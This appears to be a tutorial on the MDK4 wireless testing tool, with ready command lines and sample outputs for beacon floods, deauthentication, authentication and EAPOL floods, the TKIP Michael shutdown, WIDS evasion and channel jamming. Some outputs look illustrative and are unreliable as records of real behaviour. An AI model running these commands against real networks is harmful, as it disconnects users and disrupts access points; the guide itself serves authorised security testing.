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MDK4: Comprehensive Guide to Mastering Wi-Fi Penetration Testing

MDK4 is a tool for simulating wireless attacks, stress-testing network configurations and protocols with various attack modes to identify vulnerabilit

MDK4: Comprehensive Guide to Mastering Wi-Fi Penetration Testing
 Wireless networks form the backbone of modern connectivity. However, despite advancements in encryption and authentication protocols, wireless infrastructures remain susceptible to various forms of attacks. To assess these weaknesses, tools like MDK4 play a vital role in network stress testing and vulnerability research.

MDK4, the successor to MDK3, is a powerful, modular utility for wireless security testing. It leverages known weaknesses in the IEEE 802.11 protocol suite to simulate real-world attack scenarios in a controlled environment. Researchers, ethical hackers, and network administrators rely on MDK4 to test the stability, resilience, and robustness of wireless networks and connected devices.

What is MDK4?

MDK4 is a modern and maintained fork of the discontinued MDK3 tool. It was developed to overcome the limitations of MDK3, with a cleaner codebase, support for newer wireless chipsets, and a more flexible and modular attack system.

MDK4 allows users to test protocol implementations, analyze WIDS/WIPS effectiveness, and simulate a wide array of packet-based attacks on Wi-Fi infrastructure.

⚠️ Important: MDK4 should only be used on networks you own or have explicit permission to test. Unauthorized use can be illegal and unethical.

MDK4 Basics

Syntax

mdk4 <interface> <mode> [options]
  • <interface>: Your wireless adapter in monitor mode (e.g., wlan0mon)
  • <mode>: Type of test or attack (e.g., b for beacon flood)
  • [options]: Additional parameters to refine the attack

Usage Example

mdk4 wlan0mon b

This command starts a basic beacon flood attack.

MDK4 Test Modes

MDK4 supports multiple attack modes, each targeting a different vulnerability in wireless networks. Here's an overview:

  • Beacon Flood Mode (b)
  • Authentication DoS Mode (a)
  • Probe Request Flood Mode (p)
  • Deauthentication/Disassociation Mode (d)
  • Michael Shutdown Exploitation (m)
  • EAPOL Start Flood Mode (e)
  • WIDS/WIPS Confusion Mode (w)
  • Channel Hopping/Jamming Mode (x)

Let's examine each of these modes, with real command examples and their expected outputs.

1. Beacon Flood Mode (b)

This mode floods the environment with fake beacon frames, simulating hundreds or thousands of fake access points. It overwhelms clients, wireless scanners, and may cause connection instability.

Basic Command

mdk4 wlan0mon b

Output:

[INFO] Beacon flood mode active.
[INFO] Broadcasting fake APs with randomized SSIDs.
[INFO] Packets/sec: 50 | Active BSSIDs: 30

Using a Custom SSID List

mdk4 wlan0mon b -f aplist.txt -s 100
  • -f aplist.txt: Use predefined SSIDs and BSSIDs
  • -s 100: Set the speed to 100 packets per second

Output:

[INFO] Reading SSIDs from aplist.txt
[INFO] Broadcasting 100 packets/sec from custom SSID list

Encrypted AP Simulation

mdk4 wlan0mon b -w -a
  • -w: Simulate WEP encryption
  • -a: Simulate WPA2 AES encryption

Output:

[INFO] Simulating WEP and WPA2 AES-encrypted beacon frames
[INFO] Speed: 60 packets/sec

Targeting a Specific Channel

mdk4 wlan0mon b -c 11 -s 200
  • -c 11: Use channel 11
  • -s 200: Increase beacon packet rate

Output:

[INFO] Broadcasting fake APs on channel 11
[INFO] Speed: 200 packets/sec

2. Authentication DoS Mode (a)

This mode sends a flood of fake authentication frames to an AP, overloading it and potentially causing a reboot or authentication lockout.

Command

mdk4 wlan0mon a -B 00:11:22:33:44:55 -s 500
  • -B <MAC>: Target AP BSSID
  • -s 500: Limit to 500 packets/sec

Output:

[INFO] Flooding AP 00:11:22:33:44:55 with authentication requests
[INFO] Packets/sec: 500
[INFO] AP response: Timeout (likely overload)

3. Probe Request Flood Mode (p)

This test floods the air with probe requests for random or dictionary-based SSIDs, overwhelming APs with connection attempts.

Command

mdk4 wlan0mon p -f ssidlist.txt -s 300
  • -f ssidlist.txt: SSID dictionary file
  • -s 300: Send 300 probe packets/sec

Output:

[INFO] Sending probe requests using ssidlist.txt
[INFO] Probes/sec: 300 | Targets: Broadcast & BSSID-directed

4. Deauthentication Mode (d)

This test mode forcibly disconnects clients by sending deauthentication or disassociation frames.

Command (BSSID-targeted)

mdk4 wlan0mon d -B 00:11:22:33:44:55 -c 6
  • -B: Target AP MAC
  • -c: Set the wireless channel

Output:

[INFO] Deauth mode: Targeting AP 00:11:22:33:44:55 on channel 6
[INFO] Packets sent: 1200 | Clients disconnected: 4

Using a Client Blacklist

mdk4 wlan0mon d -b clients.txt
  • clients.txt: List of target MACs to deauth

5. Michael Shutdown Exploitation (m)

This mode sends crafted packets that exploit a vulnerability in the TKIP protocol, potentially shutting down APs.

Command

mdk4 wlan0mon m -B 00:11:22:33:44:55
  • -B: Target BSSID

Output:

[INFO] Executing Michael MIC failure exploit on AP 00:11:22:33:44:55
[INFO] Injected 2 error frames
[INFO] AP reaction: Traffic disruption detected

6. EAPOL Start Flood Mode (e)

Used to flood 802.1X authentication requests (EAPOL-Start frames) to test enterprise Wi-Fi security handling.

Command

mdk4 wlan0mon e -B 00:11:22:33:44:55

Output:

[INFO] Flooding EAPOL Start packets to BSSID 00:11:22:33:44:55
[INFO] Packets sent: 1500 | Impact: High CPU on RADIUS server

7. WIDS/WIPS Confusion Mode (w)

This mode attempts to confuse wireless intrusion detection/prevention systems by mimicking legitimate user behavior or triggering alerts.

Command

mdk4 wlan0mon w -e TestSSID
  • -e: Spoof SSID to match known/monitored network

Output:

[INFO] WIDS/WIPS evasion mode active
[INFO] Simulating rogue activity on SSID: TestSSID
[INFO] IDS response: Alert triggered (success)

8. Channel Hopping / Jamming Mode (x)

This mode rapidly hops across Wi-Fi channels, optionally jamming by injecting malformed packets.

Command

mdk4 wlan0mon x -t
  • -t: Activate test mode

Output:

[INFO] Channel hopping started
[INFO] Jamming 2.4 GHz spectrum (ch 1–13)
[INFO] Packets/sec: 1000+

Conclusion

MDK4 is a comprehensive, flexible, and powerful wireless testing suite that enhances and surpasses the capabilities of its predecessor, MDK3. With its broad selection of attack modes and advanced options, MDK4 is the go-to tool for testing the resilience of Wi-Fi networks against protocol-level threats.

From beacon floods to deauth attacks and WIDS evasion, MDK4 helps network professionals:

  • Identify weaknesses
  • Validate intrusion detection systems
  • Stress test AP/client stability

🔐 Use Responsibly: Only run MDK4 on authorized networks. Its capabilities are immense, but with great power comes great responsibility.